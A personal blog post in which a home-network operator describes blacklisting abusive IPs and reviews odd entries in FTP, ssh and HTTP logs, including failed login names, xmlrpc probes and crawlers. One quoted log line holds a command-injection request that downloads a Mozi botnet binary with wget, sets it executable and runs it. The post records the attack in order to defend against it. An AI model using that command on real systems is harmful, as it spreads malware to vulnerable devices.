As I've written of before, my house network's router has an IP blacklist. IPs can go on the blacklist for many reasons; one simple example is trying to speak NetBIOS to me (I can't think of a non-abusive reason for that, possibly excepting someone typoing an IP address, and it shouldn't disturb anyone for me to block a host that's trying to speak NetBIOS to me because of an address typo).
Some of those misbehaviours (such as the NetBIOS one) are noticed by in-kernel code on my house router. Others come from application-level code in various other software. An example of this is DNS flooding: if an IP sends me too many DNS packets too fast, it goes into the list.
One of my hosts, ftp.rodents-montreal.org, exports part of its filesystem over FTP and HTTP. (This blah is an example.) The FTP and HTTP servers keep logs; I have software watching the logs and blocking on various types of misbehaviour which either I have been unable to think of non-abusive reasons for or I consider problematic enough to be worth shunning anyway. (As an example of the latter, I don't have /ftp, but I block anyone who tries to fetch from it. I suspect that at least some of the offenders are crawlers that learnt I had it back when I did have it and haven't yet purged that knowledge. Anyone that slow to do that, desite my robots.txt denying access to it for weeks, I don't mind writing off as broken.)
But sometimes I see interesting changes in the attack patterns. For example, back in mid-January, my ssh server started logging an inordinate number of client-side connection drops. It has always had defenses against doorknob-rattler clients; I have a particular thing that I do when I ssh back home that appears to be rare otherwise, and an ssh client that doesn't exhibit that behaviour (and I haven't made other arrangements for) goes into the list. But, in mid-January, I saw a lot of connections being dropped before they had a chance for that test to happen. (Plotting the number of such log lines, the spike is quite unmistakeable. Even with such IPs getting blocked, which I arranged for after a little while, it's still well above the former noise background level.)
One of the things that I've had for a long time is clients trying to log in to my FTP server with various, ahem, "creative" usernames and passwords. For a relatively long time I've been blocking IPs that try to do that (though I do so only if the username isn't too similar to "anonymous", to be kind to humans who mistype). Most of the failures have been usernames such as www or admin, but there are always some oddballs. Here, for example, is the breakdown for as far back as I have logs at easy hand, meaning sometime in 2022-08:
35 www 6 admin 3 root 3 www-data 2 Admin 2 ftp 2 guest 1 11PlcmSpIp4444 1 Alex 1 server 1 usernameAs you can see, the volume is not high; only 57 such failures over approximately six months. The pseudo-Polycom was on 2022-11-14 and came from 172.161.24.115, an address with no reverse DNS in a Microsoft UK netblock. Alex was on 2022-11-15 and came from 89.237.192.28; while the reverse DNS naming 89-237-192-28.pppoe.ktnet.kg is (presumably) forged, RIPE does place the address in Kyrgyzstan. Curiously, just today, Alex showed up again, this time from 95.59.45.13, reverse-resolving to 95.59.45.13.megaline.telecom.kz, which once again is presumably forged (that name has no address) but RIPE places it in a Kazakhstan netblock. The password offered back on 2022-11-15 was "football"; today, "emachines". (If this is a dictionary attack, it's the slowest one EVER!)
Yesterday, I saw something that I have no previous record of: attempts to POST to /xmlrpc.php (which I do not have and never have had). Four attempts, of course from four different IPs because each IP was blocked as soon as it happened (184.168.118.48, 68.178.145.77, 184.168.99.50, and 198.71.226.45, all of which have .secureserver.net names, leading me to wonder whether the "secure" part of the name means "secure against attackers" or "secure against attempts to get attacker hosting taken down").
There also are a number of clients that attempt to initiate TLS/SSL/whatever it's called this week...on connections to port 80. Also relatively common are obvious attack attempts, such as
2022-08-07 06:57:36 Tangent bozohttpd[9946]: got request ``27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0'' from 177.84.219.33 to port 80There are even a few that appear completely off the wall, such as
2022-08-20 15:23:22 Tangent bozohttpd[7995]: got request ``^?mmQ^S=Wq,f[^B6SS^K^]F^Wq=bUq^Gn^TZ1bUq<f^Wq=bVy=bUq=bUq^WbUq=b~Z=bUq^UbUq=bUq=bUq=bUq<cUq=bCq=bUq=bUq=bUq=bUq=bQq=bUq=bUq^D'' from 143.110.234.221 to port 80(Note that the above are the entire requests, not just the part after the HTTP verb.)
Watching my HTTP server logs, even casually, has also taught me that there are a lot more crawlers out there than I was aware of. So far, the one I notice most is petalsearch.com, because they appear one of the least able to learn that /ftp is gone, but there are plenty of others. Some IPs with forged rDNS claiming www.seokicks.de; the aforementioned petalsearch.com; spider.yandex.com and yandex.net; crawl.sogou.com; search.msn.com; Google, of course; at least one crawler operating from IPs with no reverse DNS, not even forged reverse DNS; and probably others I missed in a quick eyeball skim.